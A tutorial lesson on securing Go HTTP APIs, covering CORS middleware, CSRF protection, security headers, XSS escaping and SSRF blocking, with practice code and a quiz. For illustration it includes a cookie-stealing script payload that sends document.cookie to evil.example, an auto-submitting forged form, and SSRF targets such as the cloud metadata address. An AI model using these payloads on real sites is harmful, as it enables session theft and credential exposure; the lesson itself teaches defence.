Step 19 of 24
Web security for Go APIs
Configure CORS correctly, stop CSRF, set security headers, avoid XSS and block SSRF in a Go HTTP service.
The authentication lesson made sure you know who is calling. This lesson covers the attacks that work even when authentication is perfect, because they trick a legitimate user's browser, or your own server, into doing the attacker's work. You'll set up CORS without opening a hole, defend against cross-site request forgery, add the security headers every service should send, avoid cross-site scripting, and stop server-side request forgery when your API fetches URLs.
The same-origin policy, briefly
An origin is scheme + host + port: https://app.example.com and https://api.example.com are different origins, and so are http:// and https:// on the same host.
Browsers enforce the same-origin policy: JavaScript on one origin can send requests to another origin, but it can't read the response unless the other origin allows it. Two details trip people up:
- The policy protects responses, not requests. A cross-origin form POST still reaches your server, with cookies attached if the cookie's
SameSitesetting allows. That's why CSRF exists. - The policy is enforced by browsers only.
curl, scripts and other servers ignore it. CORS is never an access-control mechanism for your API; authentication and authorisation are.
CORS: letting your frontend read responses
If your React app at https://app.example.com calls https://api.example.com, the browser needs the API's permission to hand the response to JavaScript. Cross-Origin Resource Sharing (CORS) is that permission, expressed in response headers.
For "simple" requests (GET, or a POST with a form content type), the browser sends the request and checks Access-Control-Allow-Origin on the response. For anything else, such as a PUT, a DELETE, a JSON body or an Authorization header, the browser first sends a preflight OPTIONS request asking whether the real one is allowed:
Here's a small, correct CORS middleware:
type CORS struct {
AllowedOrigins map[string]bool // exact origins, e.g. "https://app.example.com"
}
func (c CORS) Wrap(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
w.Header().Add("Vary", "Origin") // caches must key responses by Origin
if origin != "" && c.AllowedOrigins[origin] {
h := w.Header()
h.Set("Access-Control-Allow-Origin", origin)
h.Set("Access-Control-Allow-Credentials", "true")
if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
h.Set("Access-Control-Allow-Methods", "GET, POST, PUT, PATCH, DELETE")
h.Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
h.Set("Access-Control-Max-Age", "600") // cache the preflight for 10 minutes
w.WriteHeader(http.StatusNoContent)
return
}
}
next.ServeHTTP(w, r)
})
}Wrap the whole mux with it. A Go 1.22 pattern such as "DELETE /orders/{id}" doesn't match OPTIONS, so if the middleware sat inside the route, preflights would get a 405 and never reach it.
The simplest fix is often to avoid CORS entirely: serve the frontend and the API from the same origin (for example the API under /api behind the same domain). Then there's nothing to configure.
CSRF: requests the user didn't mean to send
Cross-site request forgery works like this: a user is signed in to your app, then visits evil.example, which contains:
<form action="https://api.example.com/account/email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>document.forms[0].submit()</script>The browser sends the POST to your API, and if the session cookie is attached, your server sees an authenticated request and changes the email. The attacker never reads the response; they don't need to.
Layer your defences:
SameSite=Lax(orStrict) session cookies. The browser won't attach aLaxcookie to a cross-site POST, which stops the classic attack. The auth lesson already set this.- Never change state on GET.
Laxcookies are sent on top-level cross-site GET navigations, soGET /account/deleteis still forgeable. - Check where the request came from. Go 1.25 added
http.CrossOriginProtection, which rejects unsafe-method requests (anything but GET, HEAD and OPTIONS) that the browser marks as cross-site via theSec-Fetch-Siteheader, falling back to comparingOriginwithHostfor older browsers:
cop := http.NewCrossOriginProtection()
// Your SPA on another origin is trusted to make state-changing calls.
if err := cop.AddTrustedOrigin("https://app.example.com"); err != nil {
log.Fatal(err)
}
handler := cors.Wrap(cop.Handler(mux))Requests without any browser headers (curl, server-to-server calls) pass, because they can't carry a victim's cookies in the first place. This replaces the older pattern of CSRF tokens in hidden form fields for most APIs.
If your API authenticates with an Authorization: Bearer header instead of cookies, a forged form can't add that header, so CSRF doesn't apply. The trade-off is that the token must be stored somewhere JavaScript can read, which makes XSS more damaging.
Security headers
A few response headers switch on browser protections for free. Add them in one middleware:
func SecurityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
h := w.Header()
h.Set("Strict-Transport-Security", "max-age=63072000; includeSubDomains")
h.Set("X-Content-Type-Options", "nosniff")
h.Set("Referrer-Policy", "strict-origin-when-cross-origin")
h.Set("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'")
next.ServeHTTP(w, r)
})
}| Header | What it stops |
|---|---|
Strict-Transport-Security | Downgrading to plain HTTP: the browser uses HTTPS for this host for two years |
X-Content-Type-Options: nosniff | The browser guessing a JSON or text response is HTML or script and executing it |
Referrer-Policy | Leaking full URLs (with IDs or tokens in them) to other sites |
Content-Security-Policy | Loading or running anything not explicitly allowed; frame-ancestors 'none' blocks clickjacking |
The CSP above suits a pure JSON API, which never needs to load scripts or be framed. A service that serves HTML pages needs a policy listing its own script and style sources, typically starting from default-src 'self'.
Only send HSTS once the whole domain (and every subdomain, with includeSubDomains) works over HTTPS, because browsers will refuse plain HTTP for the full max-age.
XSS: output escaping
Cross-site scripting happens when user input ends up in a page as code. If a username of <script>fetch('https://evil.example/?c='+document.cookie)</script> is inserted into HTML unescaped, it runs in every visitor's browser with your origin's privileges.
For HTML, Go gives you a strong default: html/template escapes values according to where they appear (HTML text, attribute, URL, JavaScript), automatically.
import "html/template" // not text/template
var page = template.Must(template.New("p").Parse(`<h1>Hello, {{.Name}}</h1><a href="{{.Site}}">site</a>`))
page.Execute(w, map[string]string{
"Name": `<script>alert(1)</script>`, // rendered as <script>...
"Site": `javascript:alert(1)`, // rendered as #ZgotmplZ, a safe placeholder
})The rules for APIs:
- Use
html/templatefor any HTML.text/templateescapes nothing. - Never wrap user input in
template.HTML; that type tells the engine "already safe, don't escape". - JSON APIs should always send
Content-Type: application/jsonplusnosniff, so a response can never be interpreted as HTML. - The frontend has the same duty: React escapes by default, and
dangerouslySetInnerHTMLwith user data reintroduces the bug.
SSRF: when your server fetches URLs
Features like webhooks, link previews and "import from URL" make your server request a URL the user chose. Server-side request forgery abuses that: the attacker submits http://169.254.169.254/latest/meta-data/ (the cloud metadata service, which can hand out credentials) or http://localhost:6379/, and your server, which sits inside the network, fetches it for them.
Checking the URL string isn't enough. The hostname internal.evil.example can resolve to 10.0.0.5, and DNS can change between your check and the request. Check the IP address at connection time instead, with a custom dialer:
var errBlocked = errors.New("destination address not allowed")
func safeDialer() *net.Dialer {
return &net.Dialer{
Timeout: 5 * time.Second,
Control: func(network, address string, _ syscall.RawConn) error {
ap, err := netip.ParseAddrPort(address)
if err != nil {
return err
}
ip := ap.Addr().Unmap()
if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast() {
return errBlocked
}
return nil
},
}
}
var outbound = &http.Client{
Timeout: 10 * time.Second,
Transport: &http.Transport{
Proxy: nil, // a proxy would make the dialer check the proxy's address instead
DialContext: safeDialer().DialContext,
},
}Control runs after DNS resolution, for every connection, including ones made while following redirects, so a public URL that redirects to http://127.0.0.1 is still blocked. IsLinkLocalUnicast covers 169.254.169.254. Also restrict schemes to http and https, cap the response size with io.LimitReader, and never return the raw fetched body to the user if you don't have to.
Practice
Take any Go API you've built in this roadmap (or a small one with GET /orders and DELETE /orders/{id}, using a session cookie):
- Add the CORS middleware allowing only
http://localhost:5173. Usecurl -i -X OPTIONSwithOriginandAccess-Control-Request-Methodheaders to check that an allowed origin gets the headers andhttps://evil.exampledoesn't. - Add
http.CrossOriginProtectiontrusting the same origin, and show that aDELETEwithSec-Fetch-Site: cross-siteand an untrustedOriginis rejected with 403. - Add the security headers middleware.
- Add
POST /webhooks/testthat takes{"url": "..."}, fetches it with the safe client and returns the status code. Show thathttp://127.0.0.1:8080/andhttp://169.254.169.254/are refused.
Show solution
func main() {
mux := http.NewServeMux()
mux.HandleFunc("GET /orders", listOrders)
mux.HandleFunc("DELETE /orders/{id}", deleteOrder)
mux.HandleFunc("POST /webhooks/test", testWebhook)
cop := http.NewCrossOriginProtection()
if err := cop.AddTrustedOrigin("http://localhost:5173"); err != nil {
log.Fatal(err)
}
cors := CORS{AllowedOrigins: map[string]bool{"http://localhost:5173": true}}
// Order: headers on every response, CORS answers preflights, then CSRF checks.
handler := SecurityHeaders(cors.Wrap(cop.Handler(mux)))
log.Fatal(http.ListenAndServe(":8080", handler))
}
func testWebhook(w http.ResponseWriter, r *http.Request) {
var req struct{ URL string `json:"url"` }
if err := json.NewDecoder(http.MaxBytesReader(w, r.Body, 4096)).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
u, err := url.Parse(req.URL)
if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
http.Error(w, "url must be http or https", http.StatusBadRequest)
return
}
resp, err := outbound.Get(u.String())
if err != nil {
if errors.Is(err, errBlocked) {
http.Error(w, "destination not allowed", http.StatusBadRequest)
return
}
http.Error(w, "request failed", http.StatusBadGateway)
return
}
defer resp.Body.Close()
io.Copy(io.Discard, io.LimitReader(resp.Body, 1<<20))
json.NewEncoder(w).Encode(map[string]int{"status": resp.StatusCode})
}# Allowed preflight: expect 204 with Access-Control-Allow-Origin
curl -i -X OPTIONS localhost:8080/orders/1 \
-H 'Origin: http://localhost:5173' -H 'Access-Control-Request-Method: DELETE'
# Untrusted cross-site DELETE: expect 403 from CrossOriginProtection
curl -i -X DELETE localhost:8080/orders/1 \
-H 'Origin: https://evil.example' -H 'Sec-Fetch-Site: cross-site'
# SSRF attempts: expect 400 destination not allowed
curl -s localhost:8080/webhooks/test -d '{"url":"http://127.0.0.1:8080/"}'
curl -s localhost:8080/webhooks/test -d '{"url":"http://169.254.169.254/"}'errors.Is works because the client wraps the dialer's error in *url.Error and *net.OpError, both of which implement Unwrap. The CORS middleware sits outside CrossOriginProtection so that preflights (OPTIONS, a safe method) are answered before anything else, and real requests from the trusted origin pass both.
Key takeaways
- The same-origin policy stops scripts reading cross-origin responses; it doesn't stop requests being sent, and it doesn't apply outside browsers.
- CORS grants read access to specific origins. Use an exact allowlist, add
Vary: Origin, and wrap the whole mux so preflights are answered. - Defend against CSRF with
SameSitecookies, no state changes on GET, and Go 1.25'shttp.CrossOriginProtection. - Send HSTS,
nosniff, a referrer policy and a CSP on every response; usehtml/templatefor HTML and never mark user input as safe. - For server-side fetches, block private, loopback and link-local addresses at dial time, not by inspecting the URL string.
Check yourself
Quiz
0/4 correct · 4 left
1.A CORS middleware reflects whatever Origin it receives and sets Access-Control-Allow-Credentials: true. What can an attacker do?
2.Why must the CORS middleware wrap the whole ServeMux rather than individual routes like "DELETE /orders/{id}"?
3.Which session cookie setting by itself stops a classic cross-site form POST from carrying the user's session?
4.Why check the destination IP inside the dialer's Control function instead of parsing the URL's hostname?
Finished reading?
Mark it complete to fill in your roadmap.